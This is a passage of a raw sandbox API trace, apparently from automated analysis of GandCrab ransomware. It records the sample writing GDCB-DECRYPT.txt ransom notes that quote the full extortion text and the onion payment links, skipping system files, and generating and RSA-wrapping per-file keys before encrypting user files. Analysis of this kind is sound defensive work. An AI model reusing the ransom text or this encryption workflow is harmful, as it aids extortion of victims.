and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.631] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.631] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.632] CloseHandle (hObject=0x510) returned 1 [0171.632] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\GDCB-DECRYPT.txt") returned 257 [0171.632] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\GDCB-DECRYPT.txt") returned 257 [0171.632] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\GDCB-DECRYPT.txt") returned 257 [0171.632] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\GDCB-DECRYPT.txt") returned 257 [0171.632] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.633] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.633] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.633] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.633] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.633] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.633] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.633] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.633] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.633] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin") returned 258 [0171.633] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin") returned 258 [0171.633] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin") returned 258 [0171.633] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin") returned 258 [0171.633] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="desktop.ini") returned 1 [0171.633] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="autorun.inf") returned 1 [0171.633] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="ntuser.dat") returned -1 [0171.633] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="iconcache.db") returned 1 [0171.633] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="bootsect.bak") returned 1 [0171.633] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="boot.ini") returned 1 [0171.633] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="ntuser.dat.log") returned -1 [0171.633] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="thumbs.db") returned -1 [0171.633] lstrcmpiW (lpString1="KnownGameList.bin", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.633] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin")) returned 0x20 [0171.633] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin", dwFileAttributes=0x20) returned 1 [0171.635] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0171.636] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.636] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0171.636] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.636] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0171.637] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.637] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.637] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0171.637] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.637] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0171.640] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x617768) returned 1 [0171.640] CryptGetKeyParam (in: hKey=0x617768, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.640] CryptEncrypt (in: hKey=0x617768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c90000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c90000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0171.640] GetLastError () returned 0x0 [0171.640] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.640] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0171.642] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6176a8) returned 1 [0171.642] CryptGetKeyParam (in: hKey=0x6176a8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.642] CryptEncrypt (in: hKey=0x6176a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ca0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2ca0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0171.642] GetLastError () returned 0x0 [0171.642] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.642] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.644] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GDCB-DECRYPT.txt") returned 249 [0171.644] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GDCB-DECRYPT.txt") returned 249 [0171.644] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GDCB-DECRYPT.txt") returned 249 [0171.645] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GDCB-DECRYPT.txt") returned 249 [0171.645] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.645] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.645] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.645] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.645] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.645] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.645] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.645] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.645] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.645] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.645] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.645] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.645] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.645] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\InputPersonalization\\\\GDCB-DECRYPT.txt") returned 271 [0171.645] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\InputPersonalization\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\inputpersonalization\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.645] GetLastError () returned 0x3 [0171.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.646] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\InputPersonalization\\TrainedDataStore\\\\GDCB-DECRYPT.txt") returned 288 [0171.646] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\InputPersonalization\\TrainedDataStore\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\inputpersonalization\\traineddatastore\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.646] GetLastError () returned 0x3 [0171.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.646] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.647] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\\\GDCB-DECRYPT.txt") returned 268 [0171.647] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.647] GetLastError () returned 0x3 [0171.647] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt") returned 262 [0171.648] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt") returned 262 [0171.648] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt") returned 262 [0171.648] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt") returned 262 [0171.648] lstrcmpiW (lpString1="brndlog.txt", lpString2="desktop.ini") returned -1 [0171.648] lstrcmpiW (lpString1="brndlog.txt", lpString2="autorun.inf") returned 1 [0171.648] lstrcmpiW (lpString1="brndlog.txt", lpString2="ntuser.dat") returned -1 [0171.648] lstrcmpiW (lpString1="brndlog.txt", lpString2="iconcache.db") returned -1 [0171.648] lstrcmpiW (lpString1="brndlog.txt", lpString2="bootsect.bak") returned 1 [0171.648] lstrcmpiW (lpString1="brndlog.txt", lpString2="boot.ini") returned 1 [0171.648] lstrcmpiW (lpString1="brndlog.txt", lpString2="ntuser.dat.log") returned -1 [0171.648] lstrcmpiW (lpString1="brndlog.txt", lpString2="thumbs.db") returned -1 [0171.648] lstrcmpiW (lpString1="brndlog.txt", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.648] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt")) returned 0xffffffff [0171.648] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt", dwFileAttributes=0xfffffffe) returned 0 [0171.648] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0171.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.649] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0171.649] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.649] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0171.649] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.649] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0171.649] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.649] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0171.652] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6173e8) returned 1 [0171.652] CryptGetKeyParam (in: hKey=0x6173e8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.652] CryptEncrypt (in: hKey=0x6173e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2cb0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2cb0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0171.652] GetLastError () returned 0x0 [0171.652] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.652] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0171.654] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6175e8) returned 1 [0171.654] CryptGetKeyParam (in: hKey=0x6175e8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0171.654] CryptEncrypt (in: hKey=0x6175e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2cc0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2cc0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0171.654] GetLastError () returned 0x0 [0171.654] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.654] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.654] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.654] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.654] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.654] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.654] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DomainSuggestions\\\\GDCB-DECRYPT.txt") returned 286 [0171.654] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DomainSuggestions\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domainsuggestions\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.654] GetLastError () returned 0x3 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.655] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\\\GDCB-DECRYPT.txt") returned 277 [0171.655] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.655] GetLastError () returned 0x3 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.655] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: 